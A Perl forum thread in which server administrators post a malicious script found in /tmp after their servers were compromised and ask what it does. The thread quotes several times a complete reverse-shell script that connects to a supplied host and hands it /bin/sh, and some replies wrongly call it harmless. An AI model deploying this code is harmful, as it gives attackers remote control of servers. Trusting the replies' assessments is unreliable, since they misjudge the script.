Lost Password?

Go Back   CodeCall Programming Forum > Web Development Forum > Perl

Unregistered, Check out the Coder Battles in the Announcement and Game forums.

Perl Discussion for the PERL language - Practical Extraction and Reporting Language, is a programming language often used for creating CGI programs.

Reply
 
LinkBack Thread Tools Search this Thread Display Modes
  #1 (permalink)  
Old 09-28-2007, 08:03 AM
falco85 falco85 is offline
Programmer
 
Join Date: Apr 2006
Posts: 105
Credits: 2
Rep Power: 9
falco85 is on a distinguished road
Default Hacking Perl Script

I was looking through my log files and happened by a file upload that should not have been uploaded (through a script somehow they managed to upload although they shouldn't have access). I then immediatly went to the directory the script was inserted into "/tmp" and opened the file. The first line reads #!/usr/bin/perl and even though I have used perl before I still don't entirely understand what this script does.

Perl Code:
  1. #!/usr/bin/perl
  2. use Socket;
  3. $cmd= "lynx";
  4. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
  5. $0=$cmd;
  6. $target=$ARGV[0];
  7. $port=$ARGV[1];
  8. $iaddr=inet_aton($target) || die("Error: $!\n");
  9. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  10. $proto=getprotobyname('tcp');
  11. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  12. connect(SOCKET, $paddr) || die("Error: $!\n");
  13. open(STDIN, ">&SOCKET");
  14. open(STDOUT, ">&SOCKET");
  15. open(STDERR, ">&SOCKET");
  16. system($system);
  17. close(STDIN);
  18. close(STDOUT);
  19. close(STDERR);

I can see that it opens lynx and connects to the local machine but what does this do:

Perl Code:
  1. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';

I understand echo and uname but is it calling /bin/sh?

From this point down I do not understand. Any of this I do not really understand what it is doing:

Perl Code:
  1. $target=$ARGV[0];
  2. $port=$ARGV[1];
  3. $iaddr=inet_aton($target) || die("Error: $!\n");
  4. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  5. $proto=getprotobyname('tcp');
  6. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  7. connect(SOCKET, $paddr) || die("Error: $!\n");
  8. open(STDIN, ">&SOCKET");
  9. open(STDOUT, ">&SOCKET");
  10. open(STDERR, ">&SOCKET");
  11. system($system);
  12. close(STDIN);
  13. close(STDOUT);
  14. close(STDERR);

Can someone help me figure out what the intention of this script is?

Last edited by John; 11-10-2007 at 12:32 AM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Sponsored Links
  #2 (permalink)  
Old 09-28-2007, 08:15 PM
KevinADC KevinADC is offline
Learning Programmer
 
Join Date: Jan 2007
Posts: 91
Credits: 4
Rep Power: 7
KevinADC is on a distinguished road
Default

hmmm.... I don't know what it is trying to do. Maybe ask on PerlMonks - The Monastery Gates if you get an answer post back here.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 09-30-2007, 09:40 AM
Lop's Avatar   
Lop Lop is offline
Speaks fluent binary
 
Join Date: May 2006
Posts: 1,149
Credits: 112
Rep Power: 16
Lop will become famous soon enough
Default

It looks like it is just loading a website. The arguments could be anything though. It doesn't look malicious.
__________________
Lop
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #4 (permalink)  
Old 11-10-2007, 12:19 AM
zosorock zosorock is offline
Newbie
 
Join Date: Nov 2007
Posts: 1
Credits: 0
Rep Power: 0
zosorock is on a distinguished road
Default

I believe it is indeed malicious. In my case I was presented with a mailqueue of 9000 emails trying to send out a phising/scam type of email (excerpt below), right after this script showed up.

I am not that good of a server admin but I am pretty sure this script started it somehow.

Excerpt of the email:
The Local Organizing Committee of the Heineken European Champions League is glad to announce to the world the giving away of the sum of TWO HUNDRED MILLION POUNDS to 100 lucky email addresses all over the world.

I hope you didn't have the same problem... it was pretty annoying to delete all those... thankfully they all came from nobody@.

Last edited by zosorock; 11-18-2007 at 01:58 AM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #5 (permalink)  
Old 11-10-2007, 07:27 PM
ETbyrne's Avatar   
ETbyrne ETbyrne is offline
Newbie
 
Join Date: Nov 2007
Location: Lapeer, MI
Posts: 29
Credits: 0
Rep Power: 4
ETbyrne is on a distinguished road
Default

Did you ever find out what it was?
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Sponsored Links
  #6 (permalink)  
Old 11-12-2007, 04:51 PM
TkTech TkTech is offline
 
Join Date: Jun 2006
Posts: 918
Last Blog:
Having trouble with yo...
Credits: 49
Rep Power: 20
TkTech is on a distinguished road
Send a message via MSN to TkTech
Default

It in itself is not malicious. It connects to an external server and port passed as parameters to the script and sends all of the detailed system information to that server. Then that can be used to find commmon security flaws for that os/aric
__________________

To view links or images in signatures your post count must be 0 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 0 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 0 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 0 or greater. You currently have 0 posts.

Chat with other CodeCall members on IRC; connect to irc.codecall.net and join #codecall
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #7 (permalink)  
Old 10-08-2008, 08:31 AM
psousa psousa is offline
Newbie
 
Join Date: Oct 2008
Posts: 1
Credits: 2
Rep Power: 0
psousa is on a distinguished road
Default Re: Hacking Perl Script

Quote:
Originally Posted by falco85 View Post
I was looking through my log files and happened by a file upload that should not have been uploaded (through a script somehow they managed to upload although they shouldn't have access). I then immediatly went to the directory the script was inserted into "/tmp" and opened the file. The first line reads #!/usr/bin/perl and even though I have used perl before I still don't entirely understand what this script does.

Perl Code:
  1. #!/usr/bin/perl
  2. use Socket;
  3. $cmd= "lynx";
  4. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
  5. $0=$cmd;
  6. $target=$ARGV[0];
  7. $port=$ARGV[1];
  8. $iaddr=inet_aton($target) || die("Error: $!\n");
  9. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  10. $proto=getprotobyname('tcp');
  11. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  12. connect(SOCKET, $paddr) || die("Error: $!\n");
  13. open(STDIN, ">&SOCKET");
  14. open(STDOUT, ">&SOCKET");
  15. open(STDERR, ">&SOCKET");
  16. system($system);
  17. close(STDIN);
  18. close(STDOUT);
  19. close(STDERR);

I can see that it opens lynx and connects to the local machine but what does this do:

Perl Code:
  1. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';

I understand echo and uname but is it calling /bin/sh?

From this point down I do not understand. Any of this I do not really understand what it is doing:

Perl Code:
  1. $target=$ARGV[0];
  2. $port=$ARGV[1];
  3. $iaddr=inet_aton($target) || die("Error: $!\n");
  4. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  5. $proto=getprotobyname('tcp');
  6. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  7. connect(SOCKET, $paddr) || die("Error: $!\n");
  8. open(STDIN, ">&SOCKET");
  9. open(STDOUT, ">&SOCKET");
  10. open(STDERR, ">&SOCKET");
  11. system($system);
  12. close(STDIN);
  13. close(STDOUT);
  14. close(STDERR);

Can someone help me figure out what the intention of this script is?
Same issue here. Do you have any news on this issue?

My details:


Hello.

Today I found a /tmp script (/tmp/back).
I have APF firewall and anti-DoS, secured tmp's and modsecurity2 on apache2 running gotroot rules.

How can it is possible to write a perl file on /tmp? File has not run permitions, but is a Perl file, so I think they ran it. I found this script after someone to send mail bomb through the server (about 9000 each time).

Server simptoms:
several connections from my server to ftp.hosteurope.de
several phishing emails being sent over my server

Script code:
Quote:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
Email Bazilian content:
Quote:
(...) Estamos fazendo atualizações críticas em nossos servidores, por esse motivo é necessário o recadastro de seus dados cadastrais para ter acesso a todos os serviços do Internet Banking Caixa.
Para realizar a atualização, basta baixar o programa de atualização da Caixa que segue link abaixo. (...)
How can server possible be compromised?

Any help will be appreciated.

Regards.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #8 (permalink)  
Old 10-08-2008, 04:11 PM
KevinADC KevinADC is offline
Learning Programmer
 
Join Date: Jan 2007
Posts: 91
Credits: 4
Rep Power: 7
KevinADC is on a distinguished road
Default Re: Hacking Perl Script

This is a perl forum, not a server setup or server related issues forum. The fact that it is a perl script has no bearing on how your server was compromised, it could have well been a shell script, like bash or ksh. The place to ask is on a forum that discusses the particular server you use or possibly a system administrator forum.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Similar Threads
Thread Thread Starter Forum Replies Last Post
JavaScript:Tutorial, Using an External Script TcM Javascript 7 09-11-2007 07:39 AM
Perl is Dead. Long live Perl. Kernel Programming News 3 08-10-2007 10:49 AM
(Script) Copy content to clipboard, how? annannienann Visual Basic Programming 0 06-19-2007 05:20 PM
Packet Loss Perl Script Jordan Tutorials 1 04-29-2007 12:29 PM


All times are GMT -5. The time now is 11:24 PM.

Contest Stats

Xav ........ 1276.19
MeTh0Dz|Reb0rn ........ 1048.58
marwex89 ........ 869.98
John ........ 868.39
morefood2001 ........ 868.04
WingedPanther ........ 761.06
Brandon W ........ 684.87
chili5 ........ 294.12
Steve.L ........ 216.18
dargueta ........ 192.86

Contest Rules

CodeCall Goal

Goal: 100,000 Posts
Complete: 81%

Ads